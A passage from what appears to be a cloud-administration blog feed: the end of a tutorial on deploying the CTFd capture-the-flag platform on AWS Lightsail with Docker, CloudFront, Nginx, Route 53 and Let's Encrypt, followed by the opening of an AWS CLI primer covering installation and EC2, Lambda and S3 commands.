<!--kg-card-end: markdown--><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">CTFd Docs recommends a minimum of dual core CPU and 1 GB RAM. I&apos;ve had no issues running an instance with 2 GB RAM and 1 vCPU at $10/month, however if you&apos;re expecting very little traffic a less expsnive option may work, and if you&apos;re expecting a lot of traffic, a more expensive option may be better</div></div><!--kg-card-begin: markdown--><ol start="5">
<li>Identify your instance with a unique name and click &quot;Create-Instance&quot;</li>
<li>While that boots, click on &quot;Networking&quot; within the Lightsail Console</li>
<li>Click &quot;Create Static IP&quot;</li>
<li>Select the instance you&apos;ve just created to easily attach the IP, then name your static IP and click &quot;Create&quot;</li>
<li>Go back to instances and click on the name of your new instance, then go to the Networking tab and under IPv4 Firewall add a custom TCP rule for port 8000, leave the checkbox checked for duplicating the rule for IPv6 and click the green button to add the rule</li>
<li>By now, your instance should be booted so head back to instances again and click the &gt;_ icon, you should be greeted by a command line console for your instance</li>
</ol>
<!--kg-card-end: markdown--><hr><!--kg-card-begin: markdown--><h3 id="part-2-configure-ctfd-on-the-instance-a-idpart2a">Part 2: Configure CTFd on the Instance <a id="part2"></a></h3>
<!--kg-card-end: markdown--><ol><li>Here we can more or less follow the instructions in the CTFd Docs at <a href="https://docs.ctfd.io/docs/deployment/installation">https://docs.ctfd.io/docs/deployment/installation</a>, however, I had to add in a few to avoid some errors along the way</li><li>Run the following commands:</li></ol><pre><code>sudo apt-get update
sudo apt-get upgrade #(optional but recommended)
sudo apt-get install docker
sudo apt-get install docker-compose
sudo apt-get install nginx 
sudo apt-get install ufw 

sudo systemctl stop nginx

git clone https://github.com/CTFd/CTFd.git
cd CTFd
</code></pre><!--kg-card-begin: markdown--><ol start="3">
<li>Inside the CTFd folder there&apos;s a file called docker-compose.yml, open that up with your favorite text editor and under services &gt; environment: you&apos;re going to add a new environment variable called SECRET_KEY and give it a random string i.e. SECRET_KEY=Rd42RfGayKozvU2DBfsC</li>
<li>Still within the file, find the variable called WORKERS and change it from 1 to somewhere between about 4 and 10, the more users you expect, the higher it should be, but also more taxing on the system. Once it&apos;s added, save and exit the text editor. You&apos;re docker-compose.yml should look something like this:</li>
</ol>
<pre><code>version: &apos;2&apos;

services:
  ctfd:
    build: .
    user: root
    restart: always
    ports:
      - &quot;8000:8000&quot;
    environment:
      - SECRET_KEY=Rd42RfGayKozvU2DBfsC
      - UPLOAD_FOLDER=/var/uploads
      - DATABASE_URL=mysql+pymysql://ctfd:&lt;password&gt;@db/ctfd
      - REDIS_URL=redis://cache:6379
      - WORKERS=5
      - LOG_FOLDER=/var/log/CTFd
      - ACCESS_LOG=-
      - ERROR_LOG=-
      - REVERSE_PROXY=true
      - UPDATE_CHECK=false
    volumes:
      - .data/CTFd/logs:/var/log/CTFd
      - .data/CTFd/uploads:/var/uploads
      - .:/opt/CTFd:ro
    depends_on:
      - db
    networks:
        default:
        internal:

  db:
    image: mariadb:10.4.12
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=&lt;set sql root password&gt;
      - MYSQL_USER=ctfd
      - MYSQL_PASSWORD=&lt;set ctfd sql user password&gt;
      - MYSQL_DATABASE=ctfd
    volumes:
      - .data/mysql:/var/lib/mysql
    networks:
        internal:
    # This command is required to set important mariadb defaults
    command: [mysqld, --character-set-server=utf8mb4, --collation-server=utf8mb4_unicode_ci, --wait_timeout=28800, --log-warnings=0]

  cache:
    image: redis:4
    restart: always
    volumes:
    - .data/redis:/data
    networks:
        internal:

networks:
    default:
    internal:
        internal: true

</code></pre>
<ol start="6">
<li>Now, from within the CTFd folder that contains docker-compose.yml, run:</li>
</ol>
<!--kg-card-end: markdown--><pre><code>sudo docker-compose up 
</code></pre><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">This step will take a while to run, once it&apos;s complete use <code>sudo lsof -i -P -n | grep LISTEN</code> to check your open ports, if port 8000 says docker-pr.&#xA0;</div></div><!--kg-card-begin: markdown--><ol start="6">
<li>You should now be able to connect to your new CTF for the first time! Navigate to <code>http://&lt;machine-ip&gt;:8000</code> and walk through the steps on the webpage to setup your CTF structure</li>
</ol>
<!--kg-card-end: markdown--><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">Adding, editing, and deleting users, challenges, pages, etc. is all done through the Admin Panel on the website, so once everything is fully configured within AWS there&apos;s very little need to ssh back into the lightsail instance, and therefore it&apos;s fairly user friendly for those who are not web-development experts</div></div><hr><!--kg-card-begin: markdown--><h3 id="part-3-set-up-a-lightsail-cloudfront-distribution-optional-a-idpart3a">Part 3: Set up a Lightsail CloudFront Distribution (optional) <a id="part3"></a></h3>
<!--kg-card-end: markdown--><p>AWS CloudFront is a content delivery network (CDN), which is a system that can be used to cache static portions of webpages for faster service to clients around the world. CloudFront acts as a middle man between clients and our website so when someone reaches out CloudFront sends what they&apos;re asking for from cached content. If it doesn&apos;t have the content cached (such as with dynamic content) it reaches out and requests the information from our lightsail instance acting as a web server. This also adds a nice layer of security as clients are not directly accessing your instance, instead accessing CloudFront who pulls from your instance on their behalf.</p><ol><li>On the AWS Lightsail console navigate to the &quot;Networking&quot; tab, please note this is not the same as the Networking tab within an instance, you should see buttons for Create static IP, Create DNS zone, etc..</li><li>Click on &quot;Create Distribution&quot;</li><li>Select your Lightsail instance as the origin</li><li>Under Caching behavior select the preset &quot;Best for dynamic content&quot;</li><li>Choose your distribution plan based on how much traffic you anticipate for your CTF, ensure your selection is within your budget, the option for 50Gb/month is currently free for the first year and $2.50/month thereafter</li><li>Name your distribution and click &quot;Create&quot;</li><li>The distribution Status will show &quot;In Progress&quot; for a while as it caches the website, in the meantime the next step is to configure an Nginx reverse proxy using your distribution default domain, take note of what it is by looking at the top right hand side of the management page</li></ol><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">If you click the link for the default domain right now it will resolve to your default nginx page, we&apos;ll fix that in the next step</div></div><hr><!--kg-card-begin: markdown--><h3 id="part-4-configure-the-firewall-and-set-up-a-reverse-proxy-using-nginx-a-idpart4a">Part 4: Configure the Firewall and Set Up a Reverse Proxy Using Nginx <a id="part4"></a></h3>
<!--kg-card-end: markdown--><ol><li>Jump back on your lightsail instance running CTFd and run the following commands to add some firewall rules, and then enable the firewall:</li></ol><pre><code>sudo ufw allow &apos;Nginx Full&apos;
sudo ufw allow &apos;OpenSSH&apos;

sudo ufw enable
</code></pre><!--kg-card-begin: markdown--><ol start="2">
<li>You may have noticed that navigating to your machine IP on port 80 gives you the default Nginx page, here is where we configure Nginx as reverse proxy to point port 80 to the correct location</li>
<li>Navigate to /etc/nginx/sites-available and create a file using sudo in there for your CTF, i.e. <code>sudo touch example-ctf</code></li>
<li>Use your favorite text editor along with sudo to open up the file and copy and paste the text below in there, please note, a few lines down you need to replace the variable for your cloudfront distro default name with your actual distributions name (without the https://), it should look something like <code>d*******.cloudfront.net</code></li>
</ol>
<!--kg-card-end: markdown--><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">If you&apos;re configuring a custom domain for your website you&apos;ll add it to the server name variable later on, to list multiple server names you separate them with a single space, i.e. <code>server_name dsomething.cloudfront.net your-domain.com</code></div></div><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">This file is also used to limit the rate of requests to your web server which can help protect against certain types of attacks with high request rates, a number of variables in here prevent too many concurrent connections from the same host, as well as the number of requests per second that are allowed</div></div><pre><code>limit_req_zone  $binary_remote_addr zone=mylimit:10m rate=10r/s;
limit_conn_zone $binary_remote_addr zone=addr:10m;
server {
	server_name &lt;CloudFront distro default domain&gt;;
	limit_req zone=mylimit burst=15;
	limit_conn addr 10;
	limit_req_status 429;
	client_max_body_size 8M;
	location / {
    		proxy_pass http://localhost:8000;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection &apos;upgrade&apos;;
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
  }
}
</code></pre><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">If you don&apos;t want to purchase a custom domain, or don&apos;t care about setting up a custom domain to access your CTF, you can stop here and use the CloudFront default domain to access your CTF page</div></div><hr><!--kg-card-begin: markdown--><h3 id="part-5-configuring-a-custom-domain-name-optional-a-idpart5a">Part 5: Configuring a Custom Domain Name (optional) <a id="part5"></a></h3>
<!--kg-card-end: markdown--><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">Custom Domain&apos;s can be easily purchased through AWS, and you can use AWS to obtain SSL/TLS for certificates for free, however, purchasing a domain costs a minimum of about $5/yr, and some even cost thousands or hundreds of thousands of dollars, that said, if you&apos;re not picky about the name many .com, .org, and .net domains are fairly affordable at about $10-12/yr.</div></div><ol><li>Go back to the main AWS console (not Lightsail) and search for Route 53, once you get to the dashboard you should see some statistics on your assets and buttons for other functions in the service, on the left hand side find &quot;Registered domains&quot; and click it</li><li>In here, click &quot;Register Domain&quot;</li><li>Here is where you&apos;ll search for what domain&apos;s are available and pick one that you like (and is within your price range), once you find one click &quot;Add to cart&quot; and &quot;Continue&quot;</li><li>On this page you have to put in Registrant Contact information, at the bottom there&apos;s a Privacy Protection section, if you&apos;re putting in your personal information and not company contact information ensure &quot;Enable&quot; is checked, this obfuscates your personal data that is reported to ICANN to minimize exposure, for example, your email may appear on ICANN as something like <code>owner-1232923@&lt;your-domain&gt;.whoisprivacyservice.org</code></li><li>Click Next, confirm your information, decide whether or not you want your domain to automatically renew (once a year)</li><li>Agree to the registrations agreement and complete your order</li></ol><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">Some types of domains require verification of your email, if that&apos;s the case for yours it will be obvious on the page and require completion of that verification before you&apos;re able to complete purchase</div></div><!--kg-card-begin: markdown--><ol start="7">
<li>It takes a while for the domain registration to take so in the meantime head back to the lightsail console for some related tasks</li>
<li>Go to the management console for your Lightsail CloudFront Distribution and click on the &quot;Custom domain&quot; tab</li>
<li>Near the bottom click &quot;+ Create Certificate&quot;</li>
<li>Enter your domain name and click &quot;Create&quot;</li>
<li>That will show pending for a few seconds, then it will state &quot;Validation in Progress,&quot; take note of the section near the bottom that shows information for a CNAME record, we&apos;re going to use that later to validate that you own the domain so that the certificate can be issued</li>
<li>Go back to Route 53 and check to see if your domain registration has completed, this process can take anywhere from a few minutes to several hours, so you may have to step away and come back after some time has passed</li>
<li>Welcome back! When you registered your domain AWS automatically created a hosted zone for it with 2 records, on the left hand side of Route 53 click &quot;Hosted Zones&quot; and then find your hosted zone for your new domain and click it</li>
<li>In here you should see the 2 pre-created records, we&apos;re going to create 2 more, one to validate your TLS/SSL certificate, and one to point your domain to your CloudFront distribution</li>
<li>Click &quot;Create Record&quot;</li>
<li>In the center change record type to CNAME, if you remember, the TLS/SSL certificates we started earlier had information for a CNAME record, that&apos;s what it&apos;s waiting on for validation</li>
<li>From the Lightsail management console find that CNAME information on your CloudFront distribution and copy the &quot;Name&quot; value, back in the Route 53 Create Record page paste it into the Record name box, make sure it doesn&apos;t repeat your domain at the end, it should be <code>&lt;_long string&gt;.your-domain.com/net/org/whatever</code> NOT <code>&lt;_long string&gt;.your-domain.com.your-domain.com</code></li>
<li>Next copy the value from the Lightsail tab into the Value in Route 53 create record, this should be something like <code>_&lt;long string&gt;.&lt;another string&gt;.acm-validations.aws.</code></li>
<li>Leave everything else default and click &quot;Create Records&quot;</li>
<li>Once again can take anywhere between a few minutes and several hours to finish validating the certificate, complete the next few steps and if you hit step 32 and it&apos;s still not complete, take a break and come back</li>
<li>In the mean time we&apos;re going to create one more record in your hosted zone</li>
<li>Copy your Lightsail CloudFront distributions default domain</li>
<li>In the route 53 hosted zone for your domain, click &quot;Create Record&quot; again</li>
<li>Leave the record name completely empty and on the right hand side of the page toggle the switch for &quot;Alias&quot;</li>
<li>Underneath that there&apos;s a dropdown for choose endpoint, click that and select &quot;Alias to CloudFront distribution&quot;</li>
<li>This part is a bit deceiving because it says &quot;Choose distribution&quot; but most likely your distro won&apos;t appear in the resources list, instead you&apos;re going to paste the default domain into that box, as a note here, make sure the https:// and trailing / both get removed, the domain should just be something like <code>d*****.cloudfront.net</code></li>
<li>Click &quot;Create records&quot;, leave all the other boxes and dropdowns empty or whatever was there by default</li>
<li>We have one last configuration to make inside of the Lightsail instance running CTFd so go back to the Lightsail console and hop into the command line for your instance</li>
<li>Use your favorite text editor and sudo privileges to jump into a file you created earlier that starts with /etc/nginx/sites-available/<your-file></your-file></li>
<li>Add your new custom domain name to the server_name variable, separate the two by just using a single space, i.e. <code>server_name dsomething.cloudfront.net your-domain.com</code></li>
<li>Run <code>sudo nginx -s reload</code> then exit the console</li>
<li>Once the SSL/TLS certificate validation is complete in the Lightsail console there should be a switch for custom domains above that unlocks, click that switch to enable custom domains</li>
<li>This will lock the distribution for a few minutes and the Status at the top will reflect &quot;In progress&quot;</li>
<li>When the distribution changes back to Status: Enabled you&apos;re done! if you navigate to <code>your-domain.com/org/net/whatever</code> or <code>https://your-domain.com/org/net/whatever</code> you should be greeted with the front page of your new AWS hosted CTF!</li>
</ol>
<!--kg-card-end: markdown--><hr><!--kg-card-begin: markdown--><h3 id="part-6-set-up-ssltls-certificates-for-ctfdnginx-on-hosting-system-optional-a-idpart6a">Part 6: Set up SSL/TLS Certificates for CTFd/Nginx on Hosting System (optional) <a id="part6"></a></h3>
<ol>
<li>You can use Let&apos;s Encrypt to add SSL/TLS certificates to your system running CTFd for free. Once Nginx is set up and serving your CTF on port 80, you can use the following commands to grab certs:</li>
</ol>
<pre><code>sudo apt-get install certbot python3-certbot-nginx
sudo certbot --nginx -d yourdomain.com
</code></pre>
<ol start="2">
<li>Follow the prompts given by certbot and when it completes you should be able to browse to your CTF over HTTPS.</li>
<li>Bonus: Use <code>crontab -e</code> and add the following line to enable automatic renewal: <code>0 12 * * * /usr/bin/certbot renew --quiet</code></li>
</ol>
<!--kg-card-end: markdown--><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">If you want to restrict access to the CTF to only allow HTTPS then close port 80 on the machine and ensure port 443 is open. If you&apos;re using Cloudfront as a CDN make sure you reconfigure it to collect from the host over 443 (HTTPS) as well.&#xA0;</div></div><hr><!--kg-card-begin: markdown--><h3 id="conclusion-a-idconclusiona">Conclusion <a id="conclusion"></a></h3>
<!--kg-card-end: markdown--><p>CTFd is an incredible platform built out by Kevin Chung and his team, now that you&apos;ve made it here and your AWS environment is set up to host your webpage, you can do almost all, if not all your administration from inside the website. You&apos;ll notice an icon at the top that looks like a wrench that&apos;s called &quot;Admin Panel,&quot; click it and from there, you can easily add or edit challenges, users, etc.. as well as view statistics on challenges, solves (even failed attempts), you can see any user or teams score currently over the course of time. Even the possibilities when setting up challenges is extremely extensive. Read more about what you can do and how to do it on the CTF docs website at: &#xA0;<a href="https://docs.ctfd.io/docs">https://docs.ctfd.io/docs</a>.</p>]]></content:encoded></item><item><title><![CDATA[AWS CLI 101]]></title><description><![CDATA[The basics you need to know about the AWS Command Line Interface (CLI), and examples of usage for top AWS Services including: EC2, Lambda, S3, and IAM.]]></description><link>https://simulationcyber.com/aws-cli-101/</link><guid isPermaLink="false">62fc611799f6183f497c3550</guid><category><![CDATA[Cloud Projects]]></category><dc:creator><![CDATA[Elizabeth Sims]]></dc:creator><pubDate>Thu, 08 Dec 2022 19:19:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1633976976526-4e3584e91a5d?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDE5fHxjb21wdXRlciUyMHRlcm1pbmFsfGVufDB8fHx8MTY0OTE5MDY3OQ&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1633976976526-4e3584e91a5d?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDE5fHxjb21wdXRlciUyMHRlcm1pbmFsfGVufDB8fHx8MTY0OTE5MDY3OQ&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" alt="AWS CLI 101"><p>AWS has a command line interface tool which you can use to programmatically manage your entire AWS infrastructure. In some cases using the console is a simpler method because it more or less walks you through the process of configuring, creating, and managing your AWS resources. However, in other cases the command line tools can be more efficient, more powerful, or sometimes your only option, so it&apos;s important to know the basics of how to use it. I&apos;ll start here by walking through installing and configuring your AWS CLI, some basics on how to find commands, or understand usage of those commands, then provide some specific usage examples for several common AWS services including: EC2, Lambda, S3 and IAM. </p><p>Prerequisites: AWS Account with an IAM account or permission to create an IAM account. If you do not have an AWS account, create one <a href="https://portal.aws.amazon.com/billing/signup">here</a>.</p><hr><!--kg-card-begin: markdown--><h2 id="table-of-contents">Table of Contents</h2>
<p><a href="#part1">Part 1: Install and Configure AWS CLI</a><br>
<a href="#part2">Part 2: Basic Usage of AWS CLI</a><br>
<a href="#part3">Part 3: EC2 Commands</a><br>
<a href="#part4">Part 4: Lambda Commands</a><br>
<a href="#part5">Part 5: S3 Commands</a><br>
<a href="#part6">Part 6: IAM Commands</a></p>
<!--kg-card-end: markdown--><hr><!--kg-card-begin: markdown--><h3 id="part-1-install-and-configure-aws-cli-a-idpart1a">Part 1: Install and Configure AWS CLI <a id="part1"></a></h3>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>Start by going to <a href="https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html">this website</a> and follow the instructions for your particular operating system (Linux, MacOS, or Windows). Here&apos;s a basic cheat sheet for simplicity:</p>
<ul>
<li>Linux:</li>
</ul>
<pre><code>curl &quot;https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip&quot; -o &quot;awscliv2.zip&quot; #For Linux ARM replace &lt;x86_64&gt; with &lt;aarch64&gt;
unzip awscliv2.zip
sudo ./aws/install
</code></pre>
<ul>
<li>Windows:<br>
<code>msiexec.exe /i https://awscli.amazonaws.com/AWSCLIV2.msi</code></li>
<li>MacOS:</li>
</ul>
<pre><code>Throw computer out
Buy Linux or Windows PC
See above
If you MUST use MacOS here:
curl &quot;https://awscli.amazonaws.com/AWSCLIV2.pkg&quot; -o &quot;AWSCLIV2.pkg&quot;
sudo installer -pkg AWSCLIV2.pkg -target /
</code></pre>
<!--kg-card-end: markdown--><p>For some AWS commands the configuration steps may be unnecessary. For example, S3 buckets can be configured to allow access to the bucket owner (by default), everyone (public access), or authenticated users groups (anyone with an AWS account). This is not an exhaustive list of how S3 permissions can be configured, just some basics. This means that at this point the AWS CLI you&apos;ve just installed can already be used to access buckets configured to give access to &quot;Everyone&quot;. The screenshot below shows an example of what the ACL under the permissions tab might look like for a publicly accessible bucket. </p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://simulationcyber.com/content/images/2022/04/ACL_S3.png" class="kg-image" alt="AWS CLI 101" loading="lazy" width="1515" height="681" srcset="https://simulationcyber.com/content/images/size/w600/2022/04/ACL_S3.png 600w, https://simulationcyber.com/content/images/size/w1000/2022/04/ACL_S3.png 1000w, https://simulationcyber.com/content/images/2022/04/ACL_S3.png 1515w" sizes="(min-width: 1200px) 1200px"></figure><p>For anything else that does require an account with appropriate permissions we&apos;ll configure AWS CLI to use those access credentials. </p><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">As a note, it&apos;s possible to configure multiple accounts on the same system and access each one through the argument --profile &lt;profile&gt;.</div></div><p>If you haven&apos;t already the first step is to use the console interface to either create a new IAM user, or use an existing one as long as you have permission to create access keys. Once you have an account you want to use click on it and go to the &apos;Security credentials&apos; tab then click &apos;Create access key.&apos; This will generate two strings for you, an Access key Id, and a Secret access key, save them temporarily but keep them close hold because if they get into the wrong hands then they can be used to wreak all kinds of <a href="https://www.tomshardware.com/news/aws-45000-usd-bill-for-crypto-mining-hack">havoc</a> on your AWS account. </p><p>Back in the command line just type: </p><!--kg-card-begin: markdown--><p><code>aws configure</code></p>
<!--kg-card-end: markdown--><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">If you plan to use multiple access keys, add the --profile parameter here to name the profile. i.e. <code>aws configure --profile dev-account</code></div></div><p>You&apos;ll be prompted for 4 things, the Access Key Id, Secret Access Key, Default region name, and Default output format. The first two come from the IAM console where you just generated an access key. The default region should be set to wherever the largest portion of your assets are or you plan to put them, however even if you&apos;re using multiple regions you can just specify that in the commands you run, this just saves you some effort if you&apos;re working mostly in one. The last one is the output format of unstructured data that you might pull with your commands, I highly recommend json, but you &#xA0;can also enter yaml, yaml-stream, text, or table. Here&apos;s an example of what your configuration could look like: </p><!--kg-card-begin: markdown--><pre><code>AWS Access Key ID [None]: AKIA**************
AWS Secret Access Key [None]: ************************************
Default region name [None]: us-east-1
Default output format [None]: json
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="part-2-basic-usage-of-aws-cli-a-idpart2a">Part 2: Basic Usage of AWS CLI <a id="part2"></a></h3>
<!--kg-card-end: markdown--><p>Like most well documented command line tools, you can actually just type in <code>aws</code> and get some basic information about how to use this command. The help pages are nested so you can basically just tack <code>help</code> onto the end of whatever you&apos;ve built so far and good chance it&apos;ll be able to give you some relevent information. The basic format is:</p><!--kg-card-begin: markdown--><pre><code>aws help
aws &lt;command&gt; help
aws &lt;command&gt; &lt;subcommand&gt; help
</code></pre>
<!--kg-card-end: markdown--><p>The first one is helpful if you want to see options which can be used with any (or nearly any) command such as the --profile option to specify which credential profile you want to use, you can also specify --region for any asset or service which is not in your profile default region, and --output if the command you&apos;re running is better received in something other than your default output. <code>aws help</code> also includes an <strong>exhaustive</strong> list of services that are available to be controlled via the command line. </p><!--kg-card-begin: markdown--><h3 id="part-3-ec2-commands-a-idpart3a">Part 3: EC2 Commands <a id="part3"></a></h3>
<!--kg-card-end: markdown--><p>EC2 is a core component of AWS services, this service is used to launch virtual machines with a variety of different hardware and software configurations. Once again, you can orient yourself initially to aws ec2 commands using <code>aws ec2 help</code>. To view the full documentation and more information on each command go <a href="https://docs.aws.amazon.com/cli/latest/reference/ec2/">here</a>. Let&apos;s work through some basic usage of some common ec2 functions. </p><!--kg-card-begin: markdown--><ul>
<li>Create a key pair, subcommand <code>create-key-pair</code>
<ul>
<li><strong>Required</strong> argument:
<ul>
<li>--key-name &lt;string&gt;</li>
</ul>
</li>
<li>Useful optional argument(s):
<ul>
<li>--key-type &lt;string&gt; (rsa or ed25519)</li>
</ul>
</li>
<li>Ex: <code>aws ec2 create-key-pair --key-name &lt;your-key-name&gt;</code></li>
</ul>
</li>
<li>Create security group, subcommand <code>create-security-group</code>
<ul>
<li><strong>Required</strong> argument(s):
<ul>
<li>--description &lt;string&gt; (informational)</li>
<li>--group-name &lt;string&gt;</li>
</ul>
</li>
<li>Useful optional argument(s):
<ul>
<li>--vpc-id &lt;string&gt;</li>
</ul>
</li>
<li>Ex: <code>aws ec2 create-security-group --group-name ExampleGroup --description &quot;Example Security Group Description&quot;</code></li>
</ul>
</li>
<li>Create instance, subcommand <code>run-instances</code>
<ul>
<li><strong>Required</strong> argument(s):
<ul>
<li>--image-id &lt;string&gt; (ID of the AMI used to launch, should start with ami-)</li>
<li>--key-name &lt;your-key-name&gt; (technically not required but enables ssh access)</li>
<li>--instance-type &lt;string&gt; (use help command to see all types)</li>
</ul>
</li>
<li>Useful optional argument(s):
<ul>
<li>--count &lt;int&gt; (defaults to 1)</li>
<li>--security-group-ids &lt;single id or list&gt;</li>
<li>--subnet-id &lt;string&gt;</li>
</ul>
</li>
<li>Ex:
<ul>
<li><code>aws ec2 run-instances --image-id ami-00ae10124674e644d --count 1 --instance-type t2.micro --key-name ExampleKeyPair</code></li>
</ul>
</li>
</ul>
</li>
</ul>
<!--kg-card-end: markdown--><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">Technically there are no required arguments for launching an ec2 instance but if you don&apos;t use the ones above you must provide a launch template with the same information.&#xA0;</div></div><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">Here&apos;s a useful to command to find image id&apos;s through the console, replace the description value with anything you&apos;d like to search for, multiple terms can be entered separated by a comma, also optional to remove --owner amazon to look for marketplace/community images: <code>aws ec2 describe-images --owner amazon --filters &quot;Name=description,Values=*Ubuntu Server 20*&quot; --query &apos;Images[*].[ImageId,Description]&apos; --output text</code></div></div><!--kg-card-begin: markdown--><ul>
<li>Stop instance, subcommand <code>stop-instances</code>
<ul>
<li><strong>Required</strong> argument(s):
<ul>
<li>--instance-ids &lt;value&gt;</li>
</ul>
</li>
<li>Useful optional argument(s):
<ul>
<li>--force / --no-force</li>
<li>--hibernate</li>
</ul>
</li>
<li>Ex: <code>aws ec2 stop-instances --instance-ids i-*************</code></li>
</ul>
</li>
<li>Start instance, subcommand <code>start-instances</code>
<ul>
<li><strong>Required</strong> argument(s):
<ul>
<li>--instance-ids &lt;value&gt;</li>
</ul>
</li>
<li>Ex: <code>aws ec2 start-instances --instance-ids i-************</code></li>
</ul>
</li>
<li>List instances, subcommand <code>describe-instances</code>
<ul>
<li><strong>Required</strong> argument(s): None</li>
<li>Useful optional argument(s):
<ul>
<li>--filter &lt;value&gt;</li>
<li>--instance-ids &lt;value&gt;</li>
</ul>
</li>
<li>Ex: <code>aws ec2 desribe-instances</code></li>
</ul>
</li>
<li>Terminate instances, subcommand <code>terminate-instances</code>
<ul>
<li><strong>Required</strong> argument(s):
<ul>
<li>--instance-ids &lt;value&gt;</li>
</ul>
</li>
<li>Ex: <code>aws ec2 terminate-instances --instance-ids i-**********</code></li>
</ul>
</li>
</ul>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="part-4-lambda-commands-a-idpart4a">Part 4: Lambda Commands <a id="part4"></a></h3>
<!--kg-card-end: markdown--><p>Lambda allows you to run code without having configured the underlying infrastructure to support it. Generally speaking lambda is meant for small(ish) snippets of code that run a specific task based on a variety of triggers. Use <code>aws lambda help</code> to see the help page for this subcommand, or go <a href="https://docs.aws.amazon.com/cli/latest/reference/lambda/index.html">here</a> to see the full documentation. </p><!--kg-card-begin: markdown--><ul>
<li>Create function, subcommand <code>create-function</code>
<ul>
<li><strong>Required</strong> argument(s):
<ul>
<li>--function-name &lt;value&gt;</li>
<li>--role &lt;\value&gt; (ARN of the functions IAM role)</li>
</ul>
</li>
<li>Useful optional argument(s):
<ul>
<li>--runtime &lt;\value&gt; (required if deployment package is .zip, value should be the language and version, i.e. python3.9, nodejs14.x)</li>
<li>--code (supplied from S3 bucket, syntax: S3Bucket=string,S3Key=string,S3ObjectVersion=string,ImageUri=string)</li>
<li>--zip-file &lt;\file-location&gt;</li>
<li>--handler &lt;\value&gt; (function within your code used to run your lambda)</li>
</ul>
</li>
<li>Ex: <code>aws lambda create-function --function-name ExampleFunction --runtime python3.9 --zip-file /home/examplefunction.zip --handler lambda_handler --role arn:aws:iam:******:role/service-role/ExampleFunction-role-*****</code></li>
</ul>
</li>
<li>List functions, subcommand <code>list-functions</code>
<ul>
<li><strong>Required</strong> argument(s): None</li>
<li>Ex: <code>aws lambda list-functions</code></li>
</ul>
</li>
<li>Invoke function, subcommand <code>invoke</code>
<ul>
<li><strong>Required</strong> argument(s):
<ul>
<li>--function-name &lt;value&gt;</li>
</ul>
</li>
<li>Useful optional argument(s):
<ul>
<li>--payload</li>
<li>--invocation-type &lt;value&gt; (RequestResponse invokes synchronously, Event invokes asynchronously)</li>
</ul>
</li>
<li>Ex: <code>aws lambda invoke --function-name ExampleFunction --payload &apos;{&quot;key&quot;:&quot;value&quot;} response.json</code></li>
</ul>
</li>
<li>Delete function, subcommand <code>delete-functions</code>
<ul>
<li><strong>Required</strong> argument(s):
<ul>
<li>--function-name &lt;value&gt;</li>
</ul>
</li>
<li>Ex: <code>aws lambda delete-function --function-name ExampleFunction</code></li>
</ul>
</li>
<li>Get function, subommand <code>get-function</code>
<ul>
<li>Similar to list-function but also returns a pre-signed URL which allows you to download the deployment package for 10 minutes</li>
<li><strong>Required</strong> argument(s):
<ul>
<li>--function-name &lt;value&gt;</li>
</ul>
</li>
<li>Ex: <code>aws lambda get-function --function-name ExampleFunction</code></li>
</ul>
</li>
</ul>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="part-5-s3-commands-a-idpart5a">Part 5: S3 Commands <a id="part5"></a></h3>
<!--kg-card-end: markdown--><p>S3 buckets are the most basic storage solution offered by AWS. Buckets are the root folder, whose name must be globally unique because each AWS bucket automatically comes with a URL which can be used to access it via a web browser for anyone with appropriate permissions. This URL is <code>https://bucket-name.s3.region.amazonaws.com</code> where bucket-name and region are replaces as appropriate, and region is sometimes optional. Aditionally, you can append the name of any object or folder within this bucket to view the contents of either via the same method. </p><p>The aws s3 command line includes the following commands: </p><!--kg-card-begin: markdown--><ul>
<li>cp (copy, syntax cp &lt;source&gt; &lt;destination&gt;)</li>
<li>ls (list)</li>
<li>mb (make bucket)</li>
<li>mv (move file)</li>
<li>presign (generate pre-signed URL for s3 object, default 1hr, max 7 days)</li>
